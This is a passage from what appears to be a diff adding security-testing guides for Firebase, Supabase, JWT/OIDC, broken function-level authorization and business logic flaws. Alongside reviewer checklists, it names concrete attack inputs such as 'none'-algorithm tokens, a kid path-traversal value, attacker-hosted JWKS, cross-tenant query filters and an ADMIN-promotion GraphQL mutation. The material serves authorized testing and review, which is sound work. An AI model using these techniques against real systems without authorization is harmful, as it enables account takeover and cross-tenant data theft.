- onCall provides context.auth automatically; onRequest must verify ID tokens explicitly. Admin SDK bypasses rules; all ownership/tenant checks must be enforced in code.
- Common gaps:
- Trusting client uid/orgId from request body instead of context.auth.
- Missing aud/iss verification when manually parsing tokens.
- Over-broad CORS allowing credentialed cross-origin requests; echoing Authorization in responses.
- Triggers (onCreate/onWrite) granting roles or issuing signed URLs solely based on document content controlled by the client.
- Tests:
- Call both onCall and equivalent onRequest endpoints with varied tokens and bodies; expect identical decisions.
- Create crafted docs to trigger privilege-granting functions; verify that server re-derives subject/tenant before acting.
- Attempt internal fetches (SSRF) via Functions to project/metadata endpoints.
</cloud_functions>
<app_check>
- App Check is not a substitute for authorization. Many apps enable App Check enforcement on client SDKs but do not verify on custom backends.
- Bypasses:
- Unenforced paths: REST calls directly to googleapis endpoints with ID token succeed regardless of App Check.
- Mobile reverse engineering: hook client and reuse ID token flows without attestation.
- Tests:
- Compare SDK vs REST behavior with/without App Check headers; confirm no elevated authorization via App Check alone.
</app_check>
<tenant_isolation>
- Apps often implement multi-tenant data models (orgs/<orgId>/...). Bind tenant from server context (membership doc or custom claim), not from client payload.
- Tests:
- Vary org header/subdomain/query while keeping token fixed; verify server denies cross-tenant access.
- Export/report Functions: ensure queries execute under caller scope; signed outputs must encode tenant and short TTL.
</tenant_isolation>
<bypass_techniques>
- Content-type switching: JSON vs form vs multipart to hit alternate code paths in onRequest Functions.
- Parameter/field pollution: duplicate JSON keys; last-one-wins in many parsers; attempt to sneak privilege fields.
- Caching/CDN: Hosting rewrites or proxies that key responses without Authorization or tenant headers.
- Race windows: write then read before background enforcements (e.g., post-write claim synchronizations) complete.
</bypass_techniques>
<blind_channels>
- Firestore: use error shape, document count, and ETag/length to infer existence under partial denial.
- Storage: length/timing differences on signed URL attempts leak validity.
- Functions: constant-time comparisons vs variable messages reveal authorization branches.
</blind_channels>
<tooling_and_automation>
- SDK + REST: httpie/curl + jq for REST; Firebase emulator and Rules Playground for rapid iteration.
- Mobile: apktool/objection/frida to extract config and hook SDK calls; inspect network logs for endpoints and tokens.
- Rules analysis: script rule probes for common patterns (auth != null, missing field validation, list vs get parity).
- Functions: fuzz onRequest endpoints with varied content-types and missing/forged Authorization; verify CORS and token handling.
- Storage: enumerate prefixes; test signed URL generation and reuse patterns.
</tooling_and_automation>
<reviewer_checklist>
- Do Firestore/Realtime/Storage rules derive subject and tenant from auth, not client fields?
- Are list/query rules aligned with per-doc checks (no broad list leaks)?
- Are privilege-bearing fields immutable or server-only (forbidden in writes)?
- Do Functions verify ID tokens (iss/aud/exp/signature) and re-derive identity before acting?
- Are Admin SDK operations scoped by server-side checks (ownership/tenant)?
- Is App Check treated as advisory, not authorization, across all paths?
- Are Hosting/CDN cache keys bound to Authorization/tenant to prevent leaks?
</reviewer_checklist>
<validation>
1. Provide owner vs non-owner Firestore queries showing unauthorized access or metadata leak.
2. Demonstrate Cloud Storage read/write beyond intended scope (public object, signed URL reuse, or list exposure).
3. Show a Function accepting forged/foreign identity (wrong aud/iss) or trusting client uid/orgId.
4. Document minimal reproducible requests with roles/tokens used and observed deltas.
</validation>
<false_positives>
- Public collections/objects documented and intended.
- Rules that correctly enforce per-doc checks with matching query constraints.
- Functions verifying tokens and ignoring client-supplied identifiers.
- App Check enforced but not relied upon for authorization.
</false_positives>
<impact>
- Cross-account and cross-tenant data exposure.
- Unauthorized state changes via Functions or direct writes.
- Exfiltration of PII/PHI and private files from Storage.
- Durable privilege escalation via misused custom claims or triggers.
</impact>
<pro_tips>
1. Treat apiKey as project identifier only; identity must come from verified ID tokens.
2. Start from rules: read them, then prove gaps with diffed owner/non-owner requests.
3. Prefer REST for parity checks; SDKs can mask errors via client-side filters.
4. Hunt privilege fields in docs and forbid them via rules; verify immutability.
5. Probe collectionGroup queries and list rules; many leaks live there.
6. Functions are the authority boundary—enforce subject/tenant there even if rules exist.
7. Keep concise PoCs: one owner vs non-owner request per surface that clearly demonstrates the unauthorized delta.
</pro_tips>
<remember>Authorization must hold at every layer: rules, Functions, and Storage. Bind subject and tenant from verified tokens and server data, never from client payload or UI assumptions. Any gap becomes a cross-account or cross-tenant vulnerability.</remember>
</firebase_firestore_security_guide>
+189
View File
@@ -0,0 +1,189 @@
<supabase_security_guide>
<title>SUPABASE — ADVERSARIAL TESTING AND EXPLOITATION</title>
<critical>Supabase exposes Postgres through PostgREST, Realtime, GraphQL, Storage, Auth (GoTrue), and Edge Functions. Most impactful findings come from mis-scoped Row Level Security (RLS), unsafe RPCs, leaked service_role keys, lax Storage policies, GraphQL overfetching, and Edge Functions trusting headers or tokens without binding to issuer/audience/tenant.</critical>
<scope>
- PostgREST: table CRUD, filters, embeddings, RPC (remote functions)
- RLS: row ownership/tenant isolation via policies and auth.uid()
- Storage: buckets, objects, signed URLs, public/private policies
- Realtime: replication subscriptions, broadcast/presence channels
- GraphQL: pg_graphql over Postgres schema with RLS interaction
- Auth (GoTrue): JWTs, cookie/session, magic links, OAuth flows
- Edge Functions (Deno): server-side code calling Supabase with secrets
</scope>
<methodology>
1. Inventory surfaces: REST /rest/v1, Storage /storage/v1, GraphQL /graphql/v1, Realtime wss, Auth /auth/v1, Functions https://<project>.functions.supabase.co/.
2. Obtain tokens for: unauth (anon), basic user, other user, and (if disclosed) admin/staff; enumerate anon key exposure and verify if service_role leaked anywhere.
3. Build a Resource × Action × Principal matrix and test each via REST and GraphQL. Confirm parity across channels and content-types (json/form/multipart).
4. Start with list/search/export endpoints to gather IDs, then attempt direct reads/writes across principals, tenants, and transports. Validate RLS and function guards.
</methodology>
<architecture>
- Project endpoints: https://<ref>.supabase.co; REST at /rest/v1/<table>, RPC at /rest/v1/rpc/<fn>.
- Headers: apikey: <anon-or-service>, Authorization: Bearer <JWT>. Anon key only identifies the project; JWT binds user context.
- Roles: anon, authenticated; service_role bypasses RLS and must never be client-exposed.
- auth.uid(): current user UUID claim; policies must never trust client-supplied IDs over server context.
</architecture>
<rls>
- Enable RLS on every non-public table; absence or “permit-all” policies → bulk exposure.
- Common gaps:
- Policies check auth.uid() for read but forget UPDATE/DELETE/INSERT.
- Missing tenant constraints (org_id/tenant_id) allow cross-tenant reads/writes.
- Policies rely on client-provided columns (user_id in payload) instead of deriving from JWT.
- Complex joins where the effective policy is applied after filters, enabling inference via counts or projections.
- Tests:
- Compare results for two users: GET /rest/v1/<table>?select=*&Prefer=count=exact; diff row counts and IDs.
- Try cross-tenant: add &org_id=eq.<other_org> or use or=(org_id.eq.other,org_id.is.null).
- Write-path: PATCH/DELETE single row with foreign id; INSERT with foreign owner_id then read.
</rls>
<postgrest_and_rest>
- Filters: eq, neq, lt, gt, ilike, or, is, in; embed relations with select=*,profile(*); exploit embeddings to overfetch linked rows if resolvers skip per-row checks.
- Headers to know: Prefer: return=representation (echo writes), Prefer: count=exact (exposure via counts), Accept-Profile/Content-Profile to select schema.
- IDOR patterns: /rest/v1/<table>?select=*&id=eq.<other_id>; query alternative keys (slug, email) and composite keys.
- Search leaks: generous LIKE/ILIKE filters + lack of RLS → mass disclosure.
- Mass assignment: if RPC not used, PATCH can update unintended columns; verify restricted columns via database permissions/policies.
</postgrest_and_rest>
<rpc_functions>
- RPC endpoints map to SQL functions. SECURITY DEFINER bypasses RLS unless carefully coded; SECURITY INVOKER respects caller.
- Anti-patterns:
- SECURITY DEFINER + missing owner checks → vertical/horizontal bypass.
- set search_path left to public; function resolves unsafe objects.
- Trusting client-supplied user_id/tenant_id rather than auth.uid().
- Tests:
- Call /rest/v1/rpc/<fn> as different users with foreign ids in body.
- Remove or alter JWT entirely (Authorization: Bearer <anon>) to see if function still executes.
- Validate that functions perform explicit ownership/tenant checks inside SQL, not only in docs.
</rpc_functions>
<storage>
- Buckets: public vs private; objects live in storage.objects with RLS-like policies.
- Find misconfigs:
- Public buckets holding sensitive data: GET https://<ref>.supabase.co/storage/v1/object/public/<bucket>/<path>
- Signed URLs with long TTL and no audience binding; reuse/guess tokens across tenants/paths.
- Listing prefixes without auth: /storage/v1/object/list/<bucket>?prefix=
- Path confusion: mixed case, URL-encoding, “..” segments rejected at UI but accepted by API.
- Abuse vectors:
- Content-type/XSS: upload HTML/SVG served as text/html or image/svg+xml; confirm X-Content-Type-Options: nosniff and Content-Disposition: attachment.
- Signed URL replay across accounts/buckets if validation is lax.
</storage>
<realtime>
- Endpoint: wss://<ref>.supabase.co/realtime/v1. Join channels with apikey + Authorization.
- Risks:
- Channel names derived from table/schema/filters leaking other users updates when RLS or channel guards are weak.
- Broadcast/presence channels allowing cross-room join/publish without auth checks.
- Tests:
- Subscribe to public:realtime changes on protected tables; confirm row data visibility aligns with RLS.
- Attempt joining other users presence/broadcast channels (e.g., room:<user_id>, org:<id>).
</realtime>
<graphql>
- Endpoint: /graphql/v1 using pg_graphql with RLS. Risks:
- Introspection reveals schema relations; ensure its intentional.
- Overfetch via nested relations where field resolvers fail to re-check ownership/tenant.
- Global node IDs (if implemented) leaked and reusable via different viewers.
- Tests:
- Compare REST vs GraphQL responses for the same principal and query shape.
- Query deep nested fields and connections; verify RLS holds at each edge.
</graphql>
<auth_and_tokens>
- GoTrue issues JWTs with claims (sub=uid, role, aud=authenticated). Validate on server: issuer, audience, exp, signature, and tenant context.
- Pitfalls:
- Storing tokens in localStorage → XSS exfiltration; refresh mismanagement leading to long-lived sessions.
- Treating apikey as identity; it is project-scoped, not user identity.
- Exposing service_role key in client bundle or Edge Function responses.
- Tests:
- Replay tokens across services; check audience/issuer pinning.
- Try downgraded tokens (expired/other audience) against custom endpoints.
</auth_and_tokens>
<edge_functions>
- Deno-based functions often initialize server-side Supabase client with service_role. Risks:
- Trusting Authorization/apikey headers without verifying JWT against issuer/audience.
- CORS: wildcard origins with credentials; reflected Authorization in responses.
- SSRF via fetch; secrets exposed via error traces or logs.
- Tests:
- Call functions with and without Authorization; compare behavior.
- Try foreign resource IDs in function payloads; verify server re-derives user/tenant from JWT.
- Attempt to reach internal endpoints (metadata services, project endpoints) via function fetch.
</edge_functions>
<tenant_isolation>
- Ensure every query joins or filters by tenant_id/org_id derived from JWT context, not client input.
- Tests:
- Change subdomain/header/path tenant selectors while keeping JWT tenant constant; look for cross-tenant data.
- Export/report endpoints: confirm queries execute under caller scope; signed outputs must encode tenant and short TTL.
</tenant_isolation>
<bypass_techniques>
- Content-type switching: application/json ↔ application/x-www-form-urlencoded ↔ multipart/form-data to hit different code paths.
- Parameter pollution: duplicate keys in JSON/query; PostgREST chooses last/first depending on parser.
- GraphQL+REST parity probing: protections often drift; fetch via the weaker path.
- Race windows: parallel writes to bypass post-insert ownership updates.
</bypass_techniques>
<blind_channels>
- Use Prefer: count=exact and ETag/length diffs to infer unauthorized rows.
- Conditional requests (If-None-Match) to detect object existence without content exposure.
- Storage signed URLs: timing/length deltas to map valid vs invalid tokens.
</blind_channels>
<tooling_and_automation>
- PostgREST: httpie/curl + jq; enumerate tables with known names; fuzz filters (or=, ilike, neq, is.null).
- GraphQL: graphql-inspector, voyager; build deep queries to test field-level enforcement; complexity/batching tests.
- Realtime: custom ws client; subscribe to suspicious channels/tables; diff payloads per principal.
- Storage: enumerate bucket listing APIs; script signed URL generation/use patterns.
- Auth/JWT: jwt-cli/jose to validate audience/issuer; replay against Edge Functions.
- Policy diffing: maintain request sets per role and compare results across releases.
</tooling_and_automation>
<reviewer_checklist>
- Are all non-public tables RLS-enabled with explicit SELECT/INSERT/UPDATE/DELETE policies?
- Do policies derive subject/tenant from JWT (auth.uid(), tenant claim) rather than client payload?
- Do RPC functions run as SECURITY INVOKER, or if DEFINER, do they enforce ownership/tenant inside?
- Are Storage buckets private by default, with short-lived signed URLs bound to tenant/context?
- Does Realtime enforce RLS-equivalent filtering for subscriptions and block cross-room joins?
- Is GraphQL parity verified with REST; are nested resolvers guarded per field?
- Are Edge Functions verifying JWT (issuer/audience) and never exposing service_role to clients?
- Are CDN/cache keys bound to Authorization/tenant to prevent cache leaks?
</reviewer_checklist>
<validation>
1. Provide owner vs non-owner requests for REST/GraphQL showing unauthorized access (content or metadata).
2. Demonstrate a mis-scoped RPC or Storage signed URL usable by another user/tenant.
3. Confirm Realtime or GraphQL exposure matches missing policy checks.
4. Document minimal reproducible requests and role contexts used.
</validation>
<false_positives>
- Tables intentionally public (documented) with non-sensitive content.
- RLS-enabled tables returning only caller-owned rows; mismatched UI not backed by API responses.
- Signed URLs with very short TTL and audience binding.
- Edge Functions verifying tokens and re-deriving context before acting.
</false_positives>
<impact>
- Cross-account/tenant data exposure and unauthorized state changes.
- Exfiltration of PII/PHI/PCI, financial and billing artifacts, private files.
- Privilege escalation via RPC and Edge Functions; durable access via long-lived tokens.
- Regulatory and contractual violations stemming from tenant isolation failures.
</impact>
<pro_tips>
1. Start with /rest/v1 list/search; counts and embeddings reveal policy drift fast.
2. Treat UUIDs and signed URLs as untrusted; validate binding to subject/tenant and TTL.
3. Focus on RPC and Edge Functions—they often centralize business logic and skip RLS.
4. Test GraphQL and Realtime parity with REST; differences are where vulnerabilities hide.
5. Keep role-separated request corpora and diff responses across deployments.
6. Never assume apikey == identity; only JWT binds subject. Prove it.
7. Prefer concise PoCs: one request per role that clearly shows the unauthorized delta.
</pro_tips>
<remember>RLS must bind subject and tenant on every path, and server-side code (RPC/Edge) must re-derive identity from a verified token. Any gap in binding, audience/issuer verification, or per-field enforcement becomes a cross-account or cross-tenant vulnerability.</remember>
</supabase_security_guide>
@@ -0,0 +1,147 @@
<authentication_jwt_guide>
<title>AUTHENTICATION AND JWT/OIDC</title>
<critical>JWT/OIDC failures often enable token forgery, token confusion, cross-service acceptance, and durable account takeover. Do not trust headers, claims, or token opacity without strict validation bound to issuer, audience, key, and context.</critical>
<scope>
- Web/mobile/API authentication using JWT (JWS/JWE) and OIDC/OAuth2
- Access vs ID tokens, refresh tokens, device/PKCE/Backchannel flows
- First-party and microservices verification, gateways, and JWKS distribution
</scope>
<methodology>
1. Inventory issuers and consumers: identity providers, API gateways, services, mobile/web clients.
2. Capture real tokens (access and ID) for multiple roles. Note header, claims, signature, and verification endpoints (/.well-known, /jwks.json).
3. Build a matrix: Token Type × Audience × Service; attempt cross-use (wrong audience/issuer/service) and observe acceptance.
4. Mutate headers (alg, kid, jku/x5u/jwk, typ/cty/crit), claims (iss/aud/azp/sub/nbf/iat/exp/scope/nonce), and signatures; verify what is actually enforced.
</methodology>
<discovery_techniques>
<endpoints>
- Well-known: /.well-known/openid-configuration, /oauth2/.well-known/openid-configuration
- Keys: /jwks.json, rotating key endpoints, tenant-specific JWKS
- Auth: /authorize, /token, /introspect, /revoke, /logout, device code endpoints
- App: /login, /callback, /refresh, /me, /session, /impersonate
</endpoints>
<token_features>
- Headers: {% raw %}{"alg":"RS256","kid":"...","typ":"JWT","jku":"...","x5u":"...","jwk":{...}}{% endraw %}
- Claims: {% raw %}{"iss":"...","aud":"...","azp":"...","sub":"user","scope":"...","exp":...,"nbf":...,"iat":...}{% endraw %}
- Formats: JWS (signed), JWE (encrypted). Note unencoded payload option ("b64":false) and critical headers ("crit").
</token_features>
</discovery_techniques>
<exploitation_techniques>
<signature_verification>
- RS256→HS256 confusion: change alg to HS256 and use the RSA public key as HMAC secret if algorithm is not pinned
- "none" algorithm acceptance: set {% raw %}"alg":"none"{% endraw %} and drop the signature if libraries accept it
- ECDSA malleability/misuse: weak verification settings accepting non-canonical signatures
</signature_verification>
<header_manipulation>
- kid injection: path traversal {% raw %}../../../../keys/prod.key{% endraw %}, SQL/command/template injection in key lookup, or pointing to world-readable files
- jku/x5u abuse: host attacker-controlled JWKS/X509 chain; if not pinned/whitelisted, server fetches and trusts attacker keys
- jwk header injection: embed attacker JWK in header; some libraries prefer inline JWK over server-configured keys
- SSRF via remote key fetch: exploit JWKS URL fetching to reach internal hosts
</header_manipulation>
<key_and_cache_issues>
- JWKS caching TTL and key rollover: accept obsolete keys; race rotation windows; missing kid pinning → accept any matching kty/alg
- Mixed environments: same secrets across dev/stage/prod; key reuse across tenants or services
- Fallbacks: verification succeeds when kid not found by trying all keys or no keys (implementation bugs)
</key_and_cache_issues>
<claims_validation_gaps>
- iss/aud/azp not enforced: cross-service token reuse; accept tokens from any issuer or wrong audience
- scope/roles fully trusted from token: server does not re-derive authorization; privilege inflation via claim edits when signature checks are weak
- exp/nbf/iat not enforced or large clock skew tolerance; accept long-expired or not-yet-valid tokens
- typ/cty not enforced: accept ID token where access token required (token confusion)
</claims_validation_gaps>
<token_confusion_and_oidc>
- Access vs ID token swap: use ID token against APIs when they only verify signature but not audience/typ
- OIDC mix-up: redirect_uri and client mix-ups causing tokens for Client A to be redeemed at Client B
- PKCE downgrades: missing S256 requirement; accept plain or absent code_verifier
- State/nonce weaknesses: predictable or missing → CSRF/logical interception of login\n- Device/Backchannel flows: codes and tokens accepted by unintended clients or services
</token_confusion_and_oidc>
<refresh_and_session>
- Refresh token rotation not enforced: reuse old refresh token indefinitely; no reuse detection
- Long-lived JWTs with no revocation: persistent access post-logout
- Session fixation: bind new tokens to attacker-controlled session identifiers or cookies
</refresh_and_session>
<transport_and_storage>
- Token in localStorage/sessionStorage: susceptible to XSS exfiltration; cookie vs header trade-offs with SameSite/CSRF
- Insecure CORS: wildcard origins with credentialed requests expose tokens and protected responses
- TLS and cookie flags: missing Secure/HttpOnly; lack of mTLS or DPoP/"cnf" binding permits replay from another device
</transport_and_storage>
</exploitation_techniques>
<advanced_techniques>
<microservices_and_gateways>
- Audience mismatch: internal services verify signature but ignore aud → accept tokens for other services
- Header trust: edge or gateway injects X-User-Id; backend trusts it over token claims
- Asynchronous consumers: workers process messages with bearer tokens but skip verification on replay
</microservices_and_gateways>
<jws_edge_cases>
- Unencoded payload (b64=false) with crit header: libraries mishandle verification paths
- Nested JWT (JWT-in-JWT) verification order errors; outer token accepted while inner claims ignored
</jws_edge_cases>
<special_contexts>
<mobile>
- Deep-link/redirect handling bugs leak codes/tokens; insecure WebView bridges exposing tokens
- Token storage in plaintext files/SQLite/Keychain/SharedPrefs; backup/adb accessible
</mobile>
<sso_federation>
- Misconfigured trust between multiple IdPs/SPs, mixed metadata, or stale keys lead to acceptance of foreign tokens
</sso_federation>
</special_contexts>
<chaining_attacks>
- XSS → token theft → replay across services with weak audience checks
- SSRF → fetch private JWKS → sign tokens accepted by internal services
- Host header poisoning → OIDC redirect_uri poisoning → code capture
- IDOR in sessions/impersonation endpoints → mint tokens for other users
</chaining_attacks>
<validation>
1. Show forged or cross-context token acceptance (wrong alg, wrong audience/issuer, or attacker-signed JWKS).
2. Demonstrate access token vs ID token confusion at an API.
3. Prove refresh token reuse without rotation detection or revocation.
4. Confirm header abuse (kid/jku/x5u/jwk) leading to key selection under attacker control.
5. Provide owner vs non-owner evidence with identical requests differing only in token context.
</validation>
<false_positives>
- Token rejected due to strict audience/issuer enforcement
- Key pinning with JWKS whitelist and TLS validation
- Short-lived tokens with rotation and revocation on logout
- ID token not accepted by APIs that require access tokens
</false_positives>
<impact>
- Account takeover and durable session persistence
- Privilege escalation via claim manipulation or cross-service acceptance
- Cross-tenant or cross-application data access
- Token minting by attacker-controlled keys or endpoints
</impact>
<pro_tips>
1. Pin verification to issuer and audience; log and diff claim sets across services.
2. Attempt RS256→HS256 and "none" first only if algorithm pinning is unclear; otherwise focus on header key control (kid/jku/x5u/jwk).
3. Test token reuse across all services; many backends only check signature, not audience/typ.
4. Exploit JWKS caching and rotation races; try retired keys and missing kid fallbacks.
5. Exercise OIDC flows with PKCE/state/nonce variants and mixed clients; look for mix-up.
6. Try DPoP/mTLS absence to replay tokens from different devices.
7. Treat refresh as its own surface: rotation, reuse detection, and audience scoping.
8. Validate every acceptance path: gateway, service, worker, WebSocket, and gRPC.
9. Favor minimal PoCs that clearly show cross-context acceptance and durable access.
10. When in doubt, assume verification differs per stack (mobile vs web vs gateway) and test each.
</pro_tips>
<remember>Verification must bind the token to the correct issuer, audience, key, and client context on every acceptance path. Any missing binding enables forgery or confusion.</remember>
</authentication_jwt_guide>
@@ -0,0 +1,146 @@
<broken_function_level_authorization_guide>
<title>BROKEN FUNCTION LEVEL AUTHORIZATION (BFLA)</title>
<critical>BFLA is action-level authorization failure: callers invoke functions (endpoints, mutations, admin tools) they are not entitled to. It appears when enforcement differs across transports, gateways, roles, or when services trust client hints. Bind subject × action at the service that performs the action.</critical>
<scope>
- Vertical authz: privileged/admin/staff-only actions reachable by basic users
- Feature gates: toggles enforced at edge/UI, not at core services
- Transport drift: REST vs GraphQL vs gRPC vs WebSocket with inconsistent checks
- Gateway trust: backends trust X-User-Id/X-Role injected by proxies/edges
- Background workers/jobs performing actions without re-checking authz
</scope>
<methodology>
1. Build an Actor × Action matrix with at least: unauth, basic, premium, staff/admin. Enumerate actions (create/update/delete, approve/cancel, impersonate, export, invite, role-change, credit/refund).
2. Obtain tokens/sessions for each role. Exercise every action across all transports and encodings (JSON, form, multipart), including method overrides.
3. Vary headers and contextual selectors (org/tenant/project) and test behavior behind gateway vs direct-to-service.
4. Include background flows: job creation/finalization, webhooks, queues. Confirm re-validation of authz in consumers.
</methodology>
<discovery_techniques>
<surface_enumeration>
- Admin/staff consoles and APIs, support tools, internal-only endpoints exposed via gateway
- Hidden buttons and disabled UI paths (feature-flagged) mapped to still-live endpoints
- GraphQL schemas: mutations and admin-only fields/types; gRPC service descriptors (reflection)
- Mobile clients often reveal extra endpoints/roles in app bundles or network logs
</surface_enumeration>
<signals>
- 401/403 on UI but 200 via direct API call; differing status codes across transports
- Actions succeed via background jobs when direct call is denied
- Changing only headers (role/org) alters access without token change
</signals>
<high_value_actions>
- Role/permission changes, impersonation/sudo, invite/accept into orgs
- Approve/void/refund/credit issuance, price/plan overrides
- Export/report generation, data deletion, account suspension/reactivation
- Feature flag toggles, quota/grant adjustments, license/seat changes
- Security settings: 2FA reset, email/phone verification overrides
</high_value_actions>
<exploitation_techniques>
<verb_drift_and_aliases>
- Alternate methods: GET performing state change; POST vs PUT vs PATCH differences; X-HTTP-Method-Override/_method
- Alternate endpoints performing the same action with weaker checks (legacy vs v2, mobile vs web)
</verb_drift_and_aliases>
<edge_vs_core_mismatch>
- Edge blocks an action but core service RPC accepts it directly; call internal service via exposed API route or SSRF
- Gateway-injected identity headers override token claims; supply conflicting headers to test precedence
</edge_vs_core_mismatch>
<feature_flag_bypass>
- Client-checked feature gates; call backend endpoints directly
- Admin-only mutations exposed but hidden in UI; invoke via GraphQL or gRPC tools
</feature_flag_bypass>
<batch_job_paths>
- Create export/import jobs where creation is allowed but finalize/approve lacks authz; finalize others' jobs
- Replay webhooks/background tasks endpoints that perform privileged actions without verifying caller
</batch_job_paths>
<content_type_paths>
- JSON vs form vs multipart handlers using different middleware: send the action via the most permissive parser
</content_type_paths>
</exploitation_techniques>
<advanced_techniques>
<graphql>
- Resolver-level checks per mutation/field; do not assume top-level auth covers nested mutations or admin fields
- Abuse aliases/batching to sneak privileged fields; persisted queries sometimes bypass auth transforms
- Example:
{% raw %}
mutation Promote($id:ID!){
a: updateUser(id:$id, role: ADMIN){ id role }
}
{% endraw %}
</graphql>
<grpc>
- Method-level auth via interceptors must enforce audience/roles; probe direct gRPC with tokens of lower role
- Reflection lists services/methods; call admin methods that the gateway hid
</grpc>
<websocket>
- Handshake-only auth: ensure per-message authorization on privileged events (e.g., admin:impersonate)
- Try emitting privileged actions after joining standard channels
</websocket>
<multi_tenant>
- Actions requiring tenant admin enforced only by header/subdomain; attempt cross-tenant admin actions by switching selectors with same token
</multi_tenant>
<microservices>
- Internal RPCs trust upstream checks; reach them through exposed endpoints or SSRF; verify each service re-enforces authz
</microservices>
<bypass_techniques>
<header_trust>
- Supply X-User-Id/X-Role/X-Organization headers; remove or contradict token claims; observe which source wins
</header_trust>
<route_shadowing>
- Legacy/alternate routes (e.g., /admin/v1 vs /v2/admin) that skip new middleware chains
</route_shadowing>
<idempotency_and_retries>
- Retry or replay finalize/approve endpoints that apply state without checking actor on each call
</idempotency_and_retries>
<cache_key_confusion>
- Cached authorization decisions at edge leading to cross-user reuse; test with Vary and session swaps
</cache_key_confusion>
</bypass_techniques>
<validation>
1. Show a lower-privileged principal successfully invokes a restricted action (same inputs) while the proper role succeeds and another lower role fails.
2. Provide evidence across at least two transports or encodings demonstrating inconsistent enforcement.
3. Demonstrate that removing/altering client-side gates (buttons/flags) does not affect backend success.
4. Include durable state change proof: before/after snapshots, audit logs, and authoritative sources.
</validation>
<false_positives>
- Read-only endpoints mislabeled as admin but publicly documented
- Feature toggles intentionally open to all roles for preview/beta with clear policy
- Simulated environments where admin endpoints are stubbed with no side effects
</false_positives>
<impact>
- Privilege escalation to admin/staff actions
- Monetary/state impact: refunds/credits/approvals without authorization
- Tenant-wide configuration changes, impersonation, or data deletion
- Compliance and audit violations due to bypassed approval workflows
</impact>
<pro_tips>
1. Start from the role matrix; test every action with basic vs admin tokens across REST/GraphQL/gRPC.
2. Diff middleware stacks between routes; weak chains often exist on legacy or alternate encodings.
3. Inspect gateways for identity header injection; never trust client-provided identity.
4. Treat jobs/webhooks as first-class: finalize/approve must re-check the actor.
5. Prefer minimal PoCs: one request that flips a privileged field or invokes an admin method with a basic token.
</pro_tips>
<remember>Authorization must bind the actor to the specific action at the service boundary on every request and message. UI gates, gateways, or prior steps do not substitute for function-level checks.</remember>
</broken_function_level_authorization_guide>
@@ -0,0 +1,171 @@
<business_logic_flaws_guide>
<title>BUSINESS LOGIC FLAWS</title>
<critical>Business logic flaws exploit intended functionality to violate domain invariants: move money without paying, exceed limits, retain privileges, or bypass reviews. They require a model of the business, not just payloads.</critical>
<scope>
- Financial logic: pricing, discounts, payments, refunds, credits, chargebacks
- Account lifecycle: signup, upgrade/downgrade, trial, suspension, deletion
- Authorization-by-logic: feature gates, role transitions, approval workflows
- Quotas/limits: rate/usage limits, inventory, entitlements, seat licensing
- Multi-tenant isolation: cross-organization data or action bleed
- Event-driven flows: jobs, webhooks, sagas, compensations, idempotency
</scope>
<methodology>
1. Enumerate a state machine per critical workflow (states, transitions, pre/post-conditions). Note invariants (e.g., "refund ≤ captured amount").
2. Build an Actor × Action × Resource matrix with at least: unauth, basic user, premium, staff/admin; identify actions per role.
3. For each transition, test step skipping, repetition, reordering, and late mutation (modify inputs after validation but before commit).
4. Introduce time, concurrency, and channel variance: repeat with parallel requests, different content-types, mobile/web/API/GraphQL.
5. Validate persistence boundaries: verify that all services, queues, and jobs re-enforce invariants (no trust in upstream validation).
</methodology>
<discovery_techniques>
<workflow_mapping>
- Derive endpoints from the UI and proxy/network logs; map hidden/undocumented API calls, especially finalize/confirm endpoints
- Identify tokens/flags: stepToken, paymentIntentId, orderStatus, reviewState, approvalId; test reuse across users/sessions
- Document invariants: conservation of value (ledger balance), uniqueness (idempotency), monotonicity (non-decreasing counters), exclusivity (one active subscription)
</workflow_mapping>
<input_surface>
- Hidden fields and client-computed totals; server must recompute on trusted sources
- Alternate encodings and shapes: arrays instead of scalars, objects with unexpected keys, null/empty/0/negative, scientific notation
- Business selectors: currency, locale, timezone, tax region; vary to trigger rounding and ruleset changes
</input_surface>
<state_time_axes>
- Replays: resubmit stale finalize/confirm requests
- Out-of-order: call finalize before verify; refund before capture; cancel after ship
- Time windows: end-of-day/month cutovers, daylight saving, grace periods, trial expiry edges
</state_time_axes>
</discovery_techniques>
<high_value_targets>
- Pricing/cart: price locks, quote to order, tax/shipping computation
- Discount engines: stacking, mutual exclusivity, scope (cart vs item), once-per-user enforcement
- Payments: auth/capture/void/refund sequences, partials, split tenders, chargebacks, idempotency keys
- Credits/gift cards/vouchers: issuance, redemption, reversal, expiry, transferability
- Subscriptions: proration, upgrade/downgrade, trial extension, seat counts, meter reporting
- Refunds/returns/RMAs: multi-item partials, restocking fees, return window edges
- Admin/staff operations: impersonation, manual adjustments, credit/refund issuance, account flags
- Quotas/limits: daily/monthly usage, inventory reservations, feature usage counters
</high_value_targets>
<exploitation_techniques>
<state_machine_abuse>
- Skip or reorder steps via direct API calls; verify server enforces preconditions on each transition
- Replay prior steps with altered parameters (e.g., swap price after approval but before capture)
- Split a single constrained action into many sub-actions under the threshold (limit slicing)
</state_machine_abuse>
<concurrency_and_idempotency>
- Parallelize identical operations to bypass atomic checks (create, apply, redeem, transfer)
- Abuse idempotency: key scoped to path but not principal → reuse other users' keys; or idempotency stored only in cache
- Message reprocessing: queue workers re-run tasks on retry without idempotent guards; cause duplicate fulfillment/refund
</concurrency_and_idempotency>
<numeric_and_currency>
- Floating point vs decimal rounding; rounding/truncation favoring attacker at boundaries
- Cross-currency arbitrage: buy in currency A, refund in B at stale rates; tax rounding per-item vs per-order
- Negative amounts, zero-price, free shipping thresholds, minimum/maximum guardrails
</numeric_and_currency>
<quotas_limits_inventory>
- Off-by-one and time-bound resets (UTC vs local); pre-warm at T-1s and post-fire at T+1s
- Reservation/hold leaks: reserve multiple, complete one, release not enforced; backorder logic inconsistencies
- Distributed counters without strong consistency enabling double-consumption
</quotas_limits_inventory>
<refunds_chargebacks>
- Double-refund: refund via UI and support tool; refund partials summing above captured amount
- Refund after benefits consumed (downloaded digital goods, shipped items) due to missing post-consumption checks
</refunds_chargebacks>
<feature_gates_and_roles>
- Feature flags enforced client-side or at edge but not in core services; toggle names guessed or fallback to default-enabled
- Role transitions leaving stale capabilities (retain premium after downgrade; retain admin endpoints after demotion)
</feature_gates_and_roles>
<advanced_techniques>
<event_driven_sagas>
- Saga/compensation gaps: trigger compensation without original success; or execute success twice without compensation
- Outbox/Inbox patterns missing idempotency → duplicate downstream side effects
- Cron/backfill jobs operating outside request-time authorization; mutate state broadly
</event_driven_sagas>
<microservices_boundaries>
- Cross-service assumption mismatch: one service validates total, another trusts line items; alter between calls
- Header trust: internal services trusting X-Role or X-User-Id from untrusted edges
